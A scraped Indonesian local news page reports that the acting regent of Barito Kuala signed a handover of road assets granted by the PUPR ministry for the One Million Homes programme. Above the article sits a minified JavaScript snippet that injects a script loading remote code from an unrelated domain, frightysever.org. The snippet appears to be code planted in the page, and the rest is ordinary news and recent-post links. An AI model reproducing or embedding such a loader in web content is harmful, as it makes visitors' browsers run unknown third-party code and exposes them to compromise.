(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
ADV BARITO KUALA

Pj Bupati Batola Serah Terima Hibah Jalan untuk Program Sejuta Rumah


KANALKALIMANTAN.COM, JAKARTA- Penjabat (Pj) Bupati Barito Kuala (Batola) Mujiyat, S. Sn, M. Pd, menandatangani berita acara serah terima hibah jalan dari Direktorat Jenderal Perumahan Kementerian Pekerjaan Umum dan Perumahan Rakyat (PUPR) Republik Indonesia di Jakarta, pada Kamis (9/3/2023).

Pj Bupati didampingi oleh Kepala Dinas Perumahan dan Permukiman Rakyat (Disperkim) Batola, Achmad Ridho, dan Kepala Bagian Prokopim Batola, H. Arief Wisuda Wardhana, melakukan penandatanganan berita acara dan naskah hibah barang milik negara di lingkungan Direktorat Jenderal Perumahan Rakyat Kementerian PUPR, yang berlangsung di Hotel Borobudur Jakarta.

Bersama-sama dengan Pj Bupati, Dirjen Perumahan Kementerian PUPR, Ir. Iwan Suprijanto, ST, MT, Sekretaris Dirjen, Ir. M. Hidayat, M.M., dan beberapa Bupati lain yang menerima hibah dari Dirjen Perumahan Kementerian PUPR, ikut menandatangani berita acara dan naskah hibah.

Dalam sambutannya, Iwan Suprijanto menyampaikan bahwa penandatanganan BAST dan naskah hibah barang milik negara tersebut merupakan upaya dari Kementerian PUPR untuk menyukseskan Program Sejuta Rumah. “Pada program tersebut, terdapat berbagai bantuan dan kemudahan dalam penyediaan rumah, khususnya perumahan subsidi bagi Masyarakat Berpenghasilan Rendah (MBR),” ungkapnya.

Baca juga: Terdakwa Korupsi Dana KIP Mahasiswa UNU Kalsel Divonis 5 Tahun Bayar Rp 1,9 Miliar

Bantuan tersebut berupa bantuan Prasarana Sarana dan Utilitas (PSU) kepada pemerintah daerah di 44 Kabupaten/Kota. Total nilai bantuan PSU berupa jalan lingkungan yang diserahkan sebesar Rp77,4 miliar dan tersebar di 88 lokasi perumahan subsidi. “Dengan serah terima aset PSU kepada 44 Pemda ini, kami ingin mendorong pembangunan rumah subsidi untuk masyarakat,” tambah Iwan.

Hibah aset tersebut didasarkan pada Peraturan Pemerintah Nomor 28 Tahun 2020 tentang Perubahan atas PP Nomor 27 Tahun 2014 tentang Pengelolaan Barang Milik Negara/Daerah mengenai penyertaan modal Pemerintah Pusat atas Barang Milik Negara (BMN).

Di Batola, terdapat 4 lokasi BMN Dirjen Perumahan Kementerian PUPR yang dihibahkan. Lokasinya terletak di Perumahan Antasari Garden, Perumahan Griya Anisa Permai II, Perumahan Grand Purnama II, dan Perumahan Shalli Messi 4, semuanya berada di Kecamatan Alalak. Total nilai seluruh BMN yang dihibahkan ini mencapai Rp. 4.327.173.500.

Selain itu, untuk tahun 2023 ini terdapat dua BMN PSU yang telah ditandatangani oleh Dirjen dan akan diserahkan kepada Pemkab Batola. (Kanalkalimantan.com/rdy)

Reporter : Rdy
Editor : KK


Risa

Recent Posts

Peluncuran Pilkada 2024 Kalsel, Jinggle “Ayo Memilih” dan Maskot Si Botan

KANALKALIMANTAN.COM, BANJARBARU - Jinggle 'Ayo Memilih' dan maskot Si Botan menandai peluncuran rangkaian pesta demokrasi… Read More

7 jam ago

Inspeksi SLO, Srikandi PLN Hadirkan Keandalan dan Kualitas Instalasi

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

10 jam ago

Senja Jelang Magrib, Rumah di Banjar Permai III Terbakar

KANALKALIMANTAN.COM, BANJARMASIN - Warga kawasan Banjar Indah Permai geger dengan kemunculan kobaran api, Senin (27/5/2024)… Read More

11 jam ago

Lawatan ke PKB, Upaya Lisa Halaby Mencari Partai Pengusung

KANALKALIMANTAN.COM, BANJARBARU – Bakal calon Wali Kota Erna Lisa Halaby kembali melakukan lawatan politik menuju… Read More

13 jam ago

Menjaga Kamtibmas, Satgas TMMD ke-120 Berikan Penyuluhan

KANALKALIMANTAN.COM, AMUNTAI - Memberikan pemahaman kepada warga agar bersama-sama menjaga dan mewujudkan keamanan dan ketertiban… Read More

14 jam ago

RPJPD 2025-2045 Banjarbaru Menjadi Kota Metropolitan di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Langkah menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel)… Read More

14 jam ago

This website uses cookies.